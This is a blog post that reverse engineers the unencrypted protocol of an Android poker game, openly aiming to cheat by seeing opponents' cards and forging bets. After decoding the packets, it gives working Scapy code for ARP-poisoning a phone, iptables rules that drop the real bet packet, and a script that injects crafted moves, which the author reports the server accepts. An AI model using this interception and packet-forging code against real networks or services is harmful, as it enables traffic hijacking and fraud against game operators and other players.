Reverse Engineering a Custom Protocol and Performing MITM Packet Filtering with Scapy

Posted on Tue 31 December 2013 in reversing

In this post we'll dissect a custom application-layer protocol used by a popular android poker game. The first objective will be to find out any data leaks that could help us take advantage in a poker hand, like knowing the opponents' cards beforehand. The next step once we understand the protocol well enough will be to perform a MitM attack, intercept packets with game moves in transit and manipulate those packets to make it look like a different move. For instance to do a raise with an amount of $ we don't have.

For this process I will not skip all the wrong steps and mistakes I made during research. It'll make the article considerably longer and more boring, but it'll give an idea of what the thought process looks like.

Tools used: Wireshark/tshark 1.10.3 and Scapy 2.2.0, running on Ubuntu 12.04 LTS.

All IPs, hostnames and other identifiable words in this article have been masked.

Part 1: Reversing the proprietary protocol

When opening the android app some http requests are made. They're using the AMF protocol to identify us and give us some session information.

HTTP/1.1 200 OK  
Server: nginx/1.0.7  
Date: Sat, 18 Sep 2013 21:27:15 GMT  
Content-Type: application/x-amf  
Connection: keep-alive  
X-Powered-By: PHP/5.3.8  
Set-Cookie: PHPSESSID=emv4wjkknwneon2oind0zna; path=/  
Expires: Sat, 18 Dec 2013 21:27:15 GMT  
Pragma: no-store  
Cache-Control: no-store  
Content-length: 1048  

[AMF body response]  

There is no HTTP activity when we are playing the hand so it looks like after passing through the AMF gateway we start using something else. Let's see if it's encrypted.

From now on we're isolating the traffic of the app by identifying the IPs that are used while the game is going. Two IPs, same destination ports. A filter like this in Wireshark works:

ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180

I'm looking at the payload and playing a hand at the same time. When someone says something through the chat function the chat shows up in plain text! So it's not encrypted, at least not that field, the moves could still be encrypted somewhere else.

Here's a bet of $85 (55 HEX), specified in the last part of the packet.

0000 00 00 00 2c 00 00 4e 20 00 00 00 00 02 a7 7c d5 ...,..N ......{.
0010 00 00 00 00 03 4f 7f e7 00 00 00 e5 00 00 01 1e .....O..........
0020 00 00 00 05 00 00 00 04 00 00 00 00 00 00 00 55 ...............U <-- last byte is the bet

No encryption anywhere... next point is... where is the card combination? How is it encoded? Some possible combinations on top of my head:

  • Spades, Hearts, Diamonds, Clubs ... S,H,D,C
  • "SA" = "Ace of Spades" in ASCII to Hex = 5341 or "sa" = 7361
  • Big letters in Hex, A,C,D,H,J,K,Q,S = 41...53
  • Small letters in Hex, a,c,d,h,j,k,q,s = 61...73

There could be many ways...

After playing a bit trying to cover all moves I saved it to poker.pcap. Let's use tshark and print out only the payload from the traffic:

$ tshark -r poker.pcap -R 'ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180 && data && tcp.analysis.flags' -T fields -e data

0000001c000027100000000002a77cd500000000034f7fe700000142e9be38de
000000140000271100000142e9be38de00000142e9be3853
0000001c000138800000000002a77cd500000000034f7fe70000000000000064
0000001000013881000000000000006400000005

000000ec00009c4200000000cf000001e001000000000000000a0102000000000500000001000000000000000a010100001b580000000000000000ffffffffffffffffffff050000000002a77cd5040000000000000064ff00000000000000000000000000000000000000000017aa2a0300000000000007d0ff000000000000000000000000000000000000000002d5f00c0200000000000007cb01000000000000000500000000000000050000000002d156bb0100000000000007390100000000000000000000000000000000000000000026f74200000000000000046001000000000000000a000000000000000a

000000220000426a000000cf000001e000000001000000000000000a000000000000000a0101
000000150000c352000000cf000001e00000000002d156bb01
[...]

Only payloads, but I can't understand anything. I want to know where each packet is going, let's improve this by converting the payload above to binary with xdd -r -p - to formatted hex dump (hd) so I can have a nice ASCII/hex output of the traffic. In one line:

$ for i in $(tshark -r poker.pcap -R 'ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180 && data && tcp.analysis.flags' -T fields -e data) ; do echo $i | xxd -r -p - | hd ; done

00000000 00 00 00 22 00 00 42 6a 00 00 00 cf 00 00 01 e0 |..."..Bj........|  
00000010 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 00 |................|  
00000020 00 00 00 00 00 01 |......|  
00000026  

I just need to know the flow of the packets on top of these results:

$ for i in $( tshark -r poker.pcap -R 'ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180 && data && !tcp.analysis.flags' -Tfields -e data -Tfields -e ip.src | awk '{printf "%s,%s\n", $2,$1}' ) ; do array=( $(echo $i | awk -F, '{print $1" "$2}')) ; echo 'From' ${array[0]} ; echo ${array[1]} | xxd -r -p - | hd ; done

From 192.168.0.100
00000000 00 00 00 05 00 00 2a f8 01 |......*..|

From 101.20.221.180
00000000 00 00 00 05 00 00 2a f9 02 |......*..|

From 101.20.221.180
00000000 00 00 00 26 00 00 4e 22 00 00 00 cf 00 00 01 e0 |...&..N"........|
00000010 00 00 00 02 00 00 00 02 02 02 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 07 c6 |..........|

From 101.20.221.180
00000000 00 00 00 22 00 00 42 6a 00 00 00 cf 00 00 01 e0 |..."..Bj........|
00000010 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 00 |................|
00000020 00 00 00 00 00 01 |......|

Excelent. If only I could shorten that command, like being able to operate on the awk parameters on that first awk command... Fuck it, I can't seem to find the way to do it.

Let's start a new game in the app. I'm trying to identify cards on table and/or cards in hand by any users, including me. Some packets of len = 9 are ping packets, so I can discard them. Let's take a look at the following packet:

From 101.20.222.181
00000000 00 00 00 ca 00 00 9c 42 01 00 00 01 1a 00 00 01 |.......B........|
00000010 81 01 00 00 00 00 00 00 00 0a 03 00 01 00 00 00 |................|
00000020 05 00 00 00 01 00 00 00 00 00 00 00 0a 02 01 00 |................|
00000030 00 42 68 00 00 00 00 00 00 00 00 ff ff ff ff ff |.Bh.............|
00000040 ff ff ff ff ff 04 00 00 00 00 02 d1 1e 46 03 00 |.............F..|
00000050 00 00 00 00 00 07 d0 01 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 02 da ad 5b |...............[|
00000070 02 00 00 00 00 00 00 00 64 01 00 00 00 00 00 00 |........d.......|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 d3 |................|
00000090 ef 66 01 00 00 00 00 00 00 00 5a 01 00 00 00 00 |.f........Z.....|
000000a0 00 00 00 0a 00 00 00 00 00 00 00 0a 00 00 00 00 |................|
000000b0 02 a7 7c d5 00 00 00 00 00 00 00 00 5f 01 00 00 |..{........._...|
000000c0 00 00 00 00 00 05 00 00 00 00 00 00 00 05 |..............|

All the cards currently on the table were:

me = 2S, KH 1 = JD, 10H 2 = QS, 2D table = 10C, 9C, 3C, 2H, 7D

Breaking down the content of the packet after the 2 null ints (8 * 0xFF):

04
02 d1 1e 46 03 -- pattern 1
07 d0 01
02 da ad 5b 02 -- pattern 2
64 01 -- pattern 3
02 d3 ef 66 01 -- pattern 4
5a 01
0a
0a
02 a7 7c d5 -- pattern 5
5f 01
5
5

Another similar packet:

From 101.20.222.181
00000000 00 00 00 ec 00 00 9c 42 01 00 00 01 1a 00 00 01 |.......B........|
00000010 82 01 00 00 00 00 00 00 00 0a 00 01 02 00 00 00 |................|
00000020 05 00 00 00 01 00 00 00 00 00 00 00 0a 03 01 00 |................|
00000030 00 42 68 00 00 00 00 00 00 00 00 ff ff ff ff ff |.Bh.............|
00000040 ff ff ff ff ff 05 00 00 00 00 02 db 5c 5c 04 00 |............\\..|
00000050 00 00 00 00 00 00 64 01 00 00 00 00 00 00 00 00 |......d.........|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 02 d1 1e 46 |...............F|
00000070 03 00 00 00 00 00 00 07 6c 01 00 00 00 00 00 00 |........l.......|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 da |................|
00000090 ad 5b 02 00 00 00 00 00 00 00 50 01 00 00 00 00 |.[........P.....|
000000a0 00 00 00 0a 00 00 00 00 00 00 00 0a 00 00 00 00 |................|
000000b0 02 d3 ef 66 01 00 00 00 00 00 00 00 d7 01 00 00 |...f............|
000000c0 00 00 00 00 00 05 00 00 00 00 00 00 00 05 00 00 |................|
000000d0 00 00 02 a7 7c d5 00 00 00 00 00 00 00 00 5a 01 |....{.........Z.|
000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

After the 8 instances of 0xFF:

? 05
02 db 5c 5c 04
64 01 -- match 3
02 d1 1e 46 03 -- pattern 1
07 6c 01
02 da ad 5b 02 -- pattern 2
50 01
0a
0a
02 d3 ef 66 01 -- pattern 4
d7 01
5
5
02 a7 7c d5 -- pattern 5
5a 01

Over different games on different rooms 02 a7 7c d5 repeats, maybe it's related to me.

Looking back at the AMF data sent, when a player joins in a loadPlayerData() type of function is executed to bring in the new user's info. There's a similar string in each one of this. Looks like we have our player IDs!

I think I have something. Let's look at the AMF responses using this wireshark filter:

(amf.message.target_uri contains "/onResult") || (ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180 && data && !tcp.analysis.flags && tcp.len > 100)

frame.len == 489 are ping/control type AMF messages. Let's fix our filter:

(amf.message.target_uri contains "/onResult" && !frame.len == 489) || (ip.addr == 101.20.222.181 || ip.addr == 101.20.221.180 && data && frame.len > 300) && !tcp.analysis.flags

User's nickname: R3al ID(int): 47347581, ID(hex): 02d2777d

And we have player IDs!

Let's move on to packets sent during the actual game:

This is me with cards: 7D,3D value: 0x38f (911d)
050000000002a77cd5 04000000000000038f 01000000000000000500000000000000

Our friend R3al with cards: AC,9H value: 0x5a (90d)
000000000002d2777d 00000000000000005a 01000000000000000a00000000000000

There is a match with the user ID, and I can see the structure of the new game variables more clearly, but how are the hands encoded??

Let's get more samples by narrowing down the tshark filter to only packets with my user ID (0x2a77cd5):

$ tshark -r poker.pcap -Y 'data contains 02:a7:7c:d5 && data.len > 200 && !tcp.analysis.flags' -Tfields -e data | grep ffffffffffffffffffff | awk -F'ffffffffffffffffffff' '{printf "%s\n\n", $2}' | egrep '02a77cd5|^$'

02a77cd501000000000000005501000000000000000500000000000000050000000002db2aa90000000000000004c60100000000000000000000000000000000

02a77cd501000000000000005001000000000000000000000000000000000000000002db2aa90000000000000004bc0100000000000000000000000000000000

02a77cd501000000000000005001000000000000000000000000000000000000000002db2aa90000000000000004b20100000000000000000000000000000000 

These are the packets sent the moment before the cards are dealt. They don't contain encoded cards, the have player IDs with the $ they should start the hand with, e.g:

02db2aa90000000000000004c601

{'ID' : '02db2aa9', '$' : '04c6'} # the trailing '01' means active player, 'ff' means not playing the hand (e.g. joined late); 0x4c6 = $1222

This is useful, but I'm looking in the wrong place if what I want to see are the cards.

Other than this packet, we have another one of similar size that is sent earlier, when the hand is over. Let's take a look:

000000ec00009c42000000015a000001c20100000000000000320002030000000500000002000000000000003c0201000042680000000000000000

000000ec00009c42010000015a000001c301000000000000000a0203040000000500000001000000000000000a0001000042680000000000000000

000000ca00009c42010000015a000001c401000000000000000a0203000000000500000001000000000000000a0101000042680000000000000000

000000ec00009c42010000015a000001c501000000000000000a0400010000000500000001000000000000000a0201000042680000000000000000

Only the field in the middle (about 5th column if separated by 0s) seems to have a higher entropy, the rest are basically sequential. It could be the table cards.

Mmm, all very small numbers, maybe binary encoding? Too many repetitions... 50% are the same. Let's move on.

Let's see the other large packet. Otherwise we'll have to look closer at during-game packets.

13 seconds before the previously analyzed packet we get this large packet:

000000f500005dc2050000000002daa81904000000000000e1230000000a0000000d0000000001000000000009a8c3010b010a0109010801070000000002d094b5030000000000001a770000000a00000036000000000200000000000c3500000b010b020b030b03090000000002d2503b02000000000002d5f30000000c0000005c000000000100000000000c1036030e030d030c030b030a0000000002a77cd5010000000000002ed80000000c0000001c0000000000000000000009c400000d010d020d030d03090000000002db2aa9000000000000028c84000000080000000b0000000001000000000000703c0007010702070307020c  

My ID is in there too. This is interesting. Let's break it down:

02daa819 040000000000 00e123 0000000a0000000d00000000010000000000
09a8c3010b010a010901080107 00000000
02d094b5 030000000000 001a77 0000000a0000003600000000020000000000
0c3500000b010b020b030b0309 00000000
02d2503b 020000000000 02d5f3 0000000c0000005c00000000010000000000
0c1036030e030d030c030b030a 00000000
02a77cd5 010000000000 002ed8 0000000c0000001c00000000000000000000
09c400000d010d020d030d0309 00000000

Well, it's definitely something for each player (ID is the first number), just before a new hand starts. Let's see a bunch of them:

$ tshark -r poker.pcap -Y 'data contains 02:a7:7c:d5 && data.len == 249 && !tcp.analysis.flags' -Tfields -e data

02d73d74 040000000000 0000c8 000000080000003800000000010000000000 019640000e010e020e03050205 [...]
02d73d74 040000000000 000003 000000080000003800000000010000000000
019640000e010e020e03050205 [...]
02dc2098 040000000000 00c7c7 000000050000004e00000000000000000000
015a5e020c000c030c00020202 [...]
02868f7d 040000000000 6bcacd 0000000a0000003b00000000000000000000
0065f4000e010e020e030e000b [...]

That long hash looking string is tied to each ID and repeats packet after packet so discard it. We're left with a 3 interesting bytes for each player ID which must be something. Hopefully the cards dealt.

This packet seems to be consistent in size (249). Let's see a bunch of these 3 bytes after I submit my hand:

$ for i in $(tshark -r poker.pcap -Y 'data contains 02:a7:7c:d5 && data.len == 249 && !tcp.analysis.flags' -Tfields -e data | awk -F'02a77cd5' '{print $2}' | cut -c 11-18) ; do python -c "print '${i} :',bin(int('${i}',16))[2:].zfill(32)" ; done

02a77cd5 010000000000 00 2e f1
0000000c0000001c0000000001000000000009c400000d010d020d030d0309 [...]  
02a77cd5 010000000000 00 2e ec
0000000c0000001c0000000000000000000009c400000d010d020d030d0309 [...]  
02a77cd5 010000000000 00 2e d8  

I shouldn't rely on the packet size being 249, depends on the number of players and maybe something else...

After looking at these packets for a while, it seems those 3 byte strings don't have any cards encoded, or at least I can't figure it out. Need to move on.

Let's look at other packets, those transmitted during the game. -You'd think it would have made sense to look at these first, but I tend to follow a discard-first approach sometimes-. There is one packet sent right after the two large packets studied above, within the same second. This one has encoded the cards I'm being dealt. The packet data is like this:

0000001100007531000001f7000000990401070006
(looking at the last 4 bytes)
01070006 --> it's 2 cards: Diamonds 7, Clubs 6

After looking at a few of these packets (always data length = 21) I figured the encoding mechanism:

  • 4 bytes, 2 bytes for each card, 1st byte for the suit where Clubs=0, Diamonds=1, Hearts=2, Spades=3
  • 2nd byte is card, in hex that's 1..D for cards 1..K. e.g. 000d010a is King of Clubs, 10 of Diamonds

Knowing this, I looked for this pattern elsewhere, and quickly found the packets used to inform my app of the flop, turn and river.

They all start with the hex values 00:00:00:35, so:

$ tshark -r poker.pcap -Y '!tcp.analysis.flags && data.data[0:4]==00:00:00:35' -Tfields -e data

0000003500011172000001e8000000de0000000302000000000000000a00000000000000000301000000000000012c0306030c020affffffff  

0000003500011172000001e8000000de0000000503000000000000000a0000000000000000030100000000000005960306030c020a0002ffff  

0000003500011172000001e8000000de0000000904000000000000000a0000000000000000030100000000000006f40306030c020a0002030a  

The last part are the cards, let's remove the rest:

$ tshark -r poker.pcap -Y '!tcp.analysis.flags && data.data[0:4]==00:00:00:35' -Tfields -e data | cut -c 95-

0306030c020affffffff --> flop: 3 cards + 2 nulls  
0306030c020a0002ffff --> turn: 4 cards + 1 null  
0306030c020a0002030a --> river: 5 cards, no nulls  

These packets are sent after each round of bets is complete, I cannot take advantage of that info. Also the packet with my cards is of no use to my advantage.

I was hoping all the players' cards were sent to me, or at least that all the 5 table cards were, but this is not the case.

The developers were smart and applied the best security measure: good design. The data is not encrypted, but it does not reach the user before it needs to, and when it does, it's only the minimum necessary data, no excess. Perfect.

So having discarded that route, I'm only left with looking at the rest of the data sent and see if there's anything I can take advantage of.

  • The 3 or 4 bytes studied without success earlier are the total $ amount each player has. This info is sent before each game.
  • The 'hash' part that 'repeated' after each game is the player info, holding the best hand ever, the max won, etc.

The most relevant finding is that I can know the total money players have while I'm playing against them. This might influence their behavior. But this isn't that great, it can also be achieved by friending a player in the app. Let's move on.

Part 2: Man in the Middle and packet manipulation with Scapy

The plan is: full-duplex ARP poisoning for proper MITM setup. Watch out for 'bet' type of packets and manipulate them to achieve things like placing a bet with money we don't have.

I chose Scapy as opposed to something else like ettercap to stay in Python land, and to practice a bit of scapying. However ettercap seems to be a better fit to setup the ARP poisoning. With an ettercap filter, after setting ARP poisoning with a few clicks, a packet can be manipulated like so:

# replace the FTP prompt
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
    replace("ProFTPD","TeddyBearFTPD);
}

Nice. Scapy is going to be slower and more difficult, but we'll probably learn more on the way. We'll leave ettercap for another occasion.

The server doesn't return isolated ACKs after we send our bet, so we intercept, modify, and send; we don't wait for responses.

By watching traffic we can check to see if the traffic is disturbed. Look at Seq= Ack= and of course at the game.

First the full-duplex ARP poisoning script in Scapy. Taken from this blog.

#!/usr/bin/env python2.7

from scapy.all import * 
from time import sleep

vicIP="192.168.0.100"
vicMAC="98:d6:f7:DE:EE:AD"
dgwIP="192.168.0.1"
dgwMAC="c8:d3:A3:BE:EE:EF"

# Forge the ARP packet for the victim
arpFakeVic = ARP()
arpFakeVic.op=2
arpFakeVic.psrc=dgwIP
arpFakeVic.pdst=vicIP
arpFakeVic.hwdst=vicMAC

# Forge the ARP packet for the default GW
arpFakeDGW = ARP()
arpFakeDGW.op=2
arpFakeDGW.psrc=vicIP
arpFakeDGW.pdst=dgwIP
arpFakeDGW.hwdst=dgwMAC

# While loop to send ARP
while True:
    # Send the ARP replies
    send(arpFakeVic,verbose=1)
    send(arpFakeDGW,verbose=1)
    sleep(1)
    print "ARP sent"

Now Activate IP forwarding on my machine:

$ sudo sysctl -w net.ipv4.ip_forward=1

This command will actually write (-w) the value 1 in the file /proc/sys/net/ipv4/ip_forward.

To reverse this:

$ sudo sysctl -w net.ipv4.ip_forward=0 ; sudo sysctl -p

Check with Wireshark that we can see traffic going to/from the victim.

I need a bunch of 'bet placement' packets to get a pattern in order to build the new one:

$ tshark -i wlan0 -Y '!tcp.analysis.flags && (data.data[3:1]==2c || data.data[3:1]==22)' -Tfields -e data

000000220000426a000000c1000003f900000002000000000000026700000000000002710301  
000000220000426a000000c1000003f900000003000000000000000a00000000000000000101  
000000220000426a000000c1000003f900000005000000000000001900000000000000190101  
000000220000426a000000c1000003f900000007000000000000001e000000000000001e0101  
[...]

This is the first version of the "Byte Replacer" in Python using Scapy. It identifies our packet type based on the 0x2c hex signature and replaces the last byte if it's a $10 bet with a $15 bet.

#!/usr/bin/env python2.7

from scapy.all import * 
from sys import exit

filter = "ip src 192.168.0.100"
hex_signature = '\x00\x00\x00\x2c\x00\x00\x4e\x20\x00\x00\x00\x00\x02\xa7\x7c\xd5'

def replace_hex_byte(byte_str, position, new_byte):
    list_bytes = list(byte_str)
    list_bytes[position] = new_byte
    return ''.join(list_bytes)

def replace_bets(pkt):
    if Raw in pkt and pkt[Raw].load[0:16] == hex_signature and
        pkt[Raw].load[-1] == '\x0a':
        print pkt.summary()
        pkt[Raw].load = replace_hex_byte(pkt[Raw].load, -1, '\x0f')
        print ''.join('%02x' % ord(x) for x in pkt[Raw].load)
        del pkt[TCP].chksum # let Scapy fix the checksum with sendp()
        sendp(pkt) # send packet at layer 2
        exit()

sniff(filter=filter, prn=replace_bets)

The version above is nice and short but it fails. I know it has something to do with the fact that Scapy circumvents the native TCP/IP stack, and the host is unaware that Scapy is sending packets. This has the unpleasant effect of getting the host confused when unexpected responses coming back [source].

I can see on Wireshark the packet sent by scapy it's shown as a TCP Retransmission. However I cannot manage to see it through the iptables log, so I'm assuming it's actually not getting out of the host.

I would like to investigate the reasoning and logic of this behavior in depth, but maybe for another article. Let's take an alternative approach for now in order to solve this.

The next version works in a different way, by reading traffic from a pcap file and creating a new packet based on that traffic. The pcap file will hold the last poker packet sent to me, so I will know the Seq and Ack the new packet should have.

#!/usr/bin/env python2.7

from scapy.all import *
from sys import exit

filter = "ip src 192.168.0.100" # filter not working. pcap version? wireless?

hex_signature = '\x00\x00\x00\x2c\x00\x00\x4e\x20\x00\x00\x00\x00\x02\xa7\x7c\xd5'
hex_sign_cmd = '\x00\x00\x00'
hex_sign_cmd_info = '\x00\x00\x00\x22'

ip_dst = '192.168.0.100'
ip_src = ['101.20.221.180', '101.20.222.181']

def replace_bet():
    payload = '\x00\x00\x00\x2c\x00\x00\x4e\x20\x00\x00\x00\x00\x02\xa7\x7c\xd5\x00\x00\x00\x00\x67\x44\xbf\x82'
    bet = '\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x0a'
    fold = '\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00'

    # craft new packet based on last packet in pcap file and send it
    pkts = rdpcap('for_byte_replacer.pcap')
    last_cmd = None
    last_info = None
    for pkt in pkts:
        if TCP in pkt and pkt[IP].src in ip_src and pkt[IP].dst == ip_dst:
            #print pkt.show()
            if Raw in pkt and pkt[Raw].load[0:3] == hex_sign_cmd:
                last_cmd = pkt
            if Raw in pkt and pkt[Raw].load[0:4] == hex_sign_cmd_info:
                last_info = pkt
    if last_cmd and last_info:
        print 'Cmd: ',
        print ''.join('%02x' % ord(x) for x in last_cmd[Raw].load)
        print("Seq={}, Ack={}, Len={}, Chksum={}".format(last_cmd[TCP].seq,
        last_cmd[TCP].ack, last_cmd.len, last_cmd[TCP].chksum))
        print 'Info: ',
        print ''.join('%02x' % ord(x) for x in last_info[Raw].load)
        #bet_packet = make_packet_based_on(pkt, payload)
        l = list(last_info[Raw].load)
        id = l[8:20]
        payload += ''.join(id) + fold
        print 'Payload: ',
        print ''.join('%02x' % ord(x) for x in payload)
        # new bet packet
        betpkt = last_cmd.copy()

        seq = betpkt[TCP].seq
        betpkt[TCP].seq = betpkt[TCP].ack
        betpkt[TCP].ack = seq + betpkt.len

        src = betpkt[Ether].src
        betpkt[Ether].src = betpkt[Ether].dst
        betpkt[Ether].dst = src

        src = betpkt[IP].src
        betpkt[IP].src = betpkt[IP].dst
        betpkt[IP].dst = src

        src = betpkt[TCP].sport
        betpkt[TCP].sport = betpkt[TCP].dport
        betpkt[TCP].dport = src

        del betpkt[TCP].chksum # let Scapy fix the checksum with sendp()
        #del betpkt.chksum # let Scapy fix the checksum with sendp()

        betpkt[Raw].load = payload

        betpkt.show2()

        #sendp(betpkt) # send packet at layer 2
        send(betpkt) # send packet at layer 3

replace_bet()
#sniff(filter=filter, prn=replace_bet)

Problem: I'm sending 2 packets, the modified one and the original, which is being forwarded by my host. I need to stop forwarding that packet. There are also problems with the packets generated by this script, Wireshark shows Frame and TCP checksums are incorrect.

In order to fix this, what I want to achieve is:

  1. User presses 'send bet' on phone app.
  2. iptables at my host stops the packet from being forwarded to the gateway.
  3. Scapy script sends a newly crafted packet, based on current traffic from pcap file.

From man iptables:

u32
U32 tests whether quantities of up to 4 bytes extracted from a packet have specified values. The specification of what to extract is general enough to find data at given offsets from tcp headers or payloads.

But we don't need to get that complicated. Just drop INPUT from phone to server with [IP]len = 88 (TCPlen = 48), then revert it after we send our crafted one. Because the dropped one and the crafted packet will have the same TCP sequence, the response from the server should make the app happy.

$ sudo iptables -L -v
$ sudo iptables -i wlan0 -A INPUT -p tcp --dport 8310 -m length --length 48 --source 192.168.0.100 --destination 101.20.221.180 -j LOG --log-prefix "inc-poker-bet"
$ sudo iptables -F
$ sudo iptables -i wlan0 -A INPUT -p tcp -m length --length 48 --source 192.168.0.100 --destination 101.20.221.180 -j LOG --log-prefix "inc-poker-bet"
$ sudo iptables -A INPUT -p tcp -j LOG --log-prefix "inc-poker-bet"
$ sudo iptables -A FORWARD -p tcp -j LOG --log-prefix "fwd-poker-bet"
$ sudo iptables -A OUTPUT -p tcp -j LOG --log-prefix "out-poker-bet" 
$ sudo iptables -i wlan0 -A FORWARD -p tcp --source 192.168.0.100 --destination 101.20.221.180 -j LOG --log-prefix "fwd-poker-bet" 
$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 -j LOG --log-prefix "fwd-poker-bet"  
$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 --tcp-flags ACK,PSH ACK,PSH -j LOG --log-prefix "fwd-poker-bet"
$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 --tcp-flags ACK,PSH ACK,PSH -j DROP
[...] fwd-poker-bet IN=wlan0 OUT=wlan0 SRC=192.168.0.100 DST=101.20.222.181 LEN=88 ACK PSH
[...] fwd-poker-bet IN=wlan0 OUT=wlan0 SRC=192.168.0.100 DST=101.20.222.181 LEN=88 ACK PSH

More iptables, Identification:

This field is an identification field and is primarily used for uniquely identifying the group of fragments of a single IP datagram. Some experimental work has suggested using the ID field for other purposes, such as for adding packet-tracing information to help trace datagrams with spoofed source addresses, but RFC 6864 now prohibits any such use.

Whatever, let's hope no one cares about it being ID=1 in our crafted packet. We'll take that to our advantage and use it to identify the packet with iptables.

The final set of commands to setup iptables rules is as follows:

$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 --tcp-flags ACK,PSH ACK,PSH -m u32 --u32 "2&0xFFFF=0x2:0xFFFF" -j LOG --log-prefix "fwd-poker-bet"
$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 --tcp-flags ACK,PSH ACK,PSH -m u32 --u32 "2&0xFFFF=0x1" -j LOG --log-prefix "fwd-poker-bet-crafted"
$ sudo iptables -i wlan0 -A FORWARD -p tcp -m length --length 88 --source 192.168.0.100 --destination 101.20.222.181 --tcp-flags ACK,PSH ACK,PSH -m u32 --u32 "2&0xFFFF=0x2:0xFFFF" -j DROP

The final version of the Scapy script is:

#!/usr/bin/env python2.7

from scapy.all import *  
from sys import exit

filter = "ip src 192.168.0.100" # filter not working. pcap version? wireless?

hex_signature = '\x00\x00\x00\x2c\x00\x00\x4e\x20\x00\x00\x00\x00\x02\xa7\x7c\xd5'  
hex_sign_cmd = '\x00\x00\x00'  
hex_sign_cmd_info = '\x00\x00\x00\x22'

ip_dst = '192.168.0.100'  
ip_src = ['101.20.222.181', '101.20.221.180']

def replace_bet():  
    payload = '\x00\x00\x00\x2c\x00\x00\x4e\x20\x00\x00\x00\x00\x02\xa7\x7c\xd5\x00\x00\x00\x00\x4e\x2b\x28\xb4'  
    bet = '\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x14'
    betbig = '\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x03\xe8'
    # bet $1000  
    fold = '\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00'
    allin = '\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00'

    # craft new packet based on last packet in pcap file and send it  
    pkts = rdpcap('for_byte_replacer.pcap')  
    last_cmd = None  
    last_info = None  
    for pkt in pkts:  
        if TCP in pkt and pkt[IP].src in ip_src and pkt[IP].dst == ip_dst:  
            #print pkt.show()  
            if Raw in pkt and pkt[Raw].load[0:3] == hex_sign_cmd:  
                last_cmd = pkt  
            if Raw in pkt and pkt[Raw].load[0:4] == hex_sign_cmd_info:  
                last_info = pkt  
    if last_cmd and last_info:  
        print 'Cmd: ',  
        print ''.join('%02x' % ord(x) for x in last_cmd[Raw].load)  
        print("Seq={}, Ack={}, Len={}, Chksum={}".format(last_cmd[TCP].seq,
        last_cmd[TCP].ack, len(last_cmd[Raw].load), last_cmd[TCP].chksum))  
        print 'Info: ',  
        print ''.join('%02x' % ord(x) for x in last_info[Raw].load)  
        #bet_packet = make_packet_based_on(pkt, payload)  
        l = list(last_info[Raw].load)  
        id = l[8:20]  
        payload += ''.join(id) + betbig  
        print 'Payload: ',  
        print ''.join('%02x' % ord(x) for x in payload)

        # new bet packet  
        betpkt = Ether()/IP()/TCP()/Raw(payload)

        betpkt[Ether].src = last_cmd[Ether].dst  
        betpkt[Ether].dst = last_cmd[Ether].src

        betpkt[IP].src = last_cmd[IP].dst  
        betpkt[IP].dst = last_cmd[IP].src

        betpkt[TCP].sport = last_cmd[TCP].dport  
        betpkt[TCP].dport = last_cmd[TCP].sport

        betpkt[TCP].seq = last_cmd[TCP].ack  
        betpkt[TCP].ack = last_cmd[TCP].seq + len(last_cmd[Raw].load)  
        betpkt[TCP].flags = 24L # [PSH, ACK]

        betpkt.show2()

        sendp(betpkt) # send packet at layer 2
replace_bet()  

The packet is formed correctly here. Instead of copying it from an existing as in the previous version, now we build from scratch and fill the needed fields.

Click 'send bet' on the app, iptables drops the packet, and I immediately run scapy to send the new packet, which shows in the iptables log as 'crafted', with ID = 1.

Success:

[...] fwd-poker-bet IN=wlan0 OUT=wlan0 SRC=192.168.0.100 DST=101.20.222.181 LEN=88 ACK PSH
[...] fwd-poker-bet-crafted IN=wlan0 OUT=wlan0 SRC=192.168.0.100 DST=101.20.222.181 LEN=88 ID=1 ACK PSH

We have successfully manipulated the payload in transition and modified the app behavior. The server response acknowledges the crafted packet and forces the app to update its internal state to that implied by the crafted packet.

Let's see how the server responds to our man in the middle packet manipulations:

  • app: "bet 5", crafted: "fold", server response: "ok, folded"
  • app: "bet 5", crafted: "all in", server response: "ok, all in of $563"
  • app: "bet 5", crafted: "bet $1000" (we have $500!!), server response: "operation not permitted" :/

Even though manipulating the hand's bet with an amount we don't really have was not successful, up to this point a moderate success can be celebrated. The next step would be to go deeper into the different parts of the game, while completing the understanding of the protocol, in order to discover weaker points.

Scapy also allows programming a custom protocol, that could be part of the process too. That way the poker operations can be identified and manipulated more conveniently.

Some resources used while working on this:

u32/iptables: http://www.stearns.org/doc/iptables-u32.current.html iptables/scapy: https://www.sans.org/reading-room/whitepapers/testing/taste-scapy-33249
scapy: http://stackoverflow.com/questions/8726881/sending-packets-from-pcap-with-changed-src-dst-in-scapy
scapy: http://stackoverflow.com/questions/13017797/how-to-add-http-headers-to-a-packet-sniffed-using-scapy
scapy: http://stackoverflow.com/questions/5182177/writing-a-tcp-connection-hijacking
scapy: http://thepacketgeek.com/scapy-p-09-scapy-and-dns/
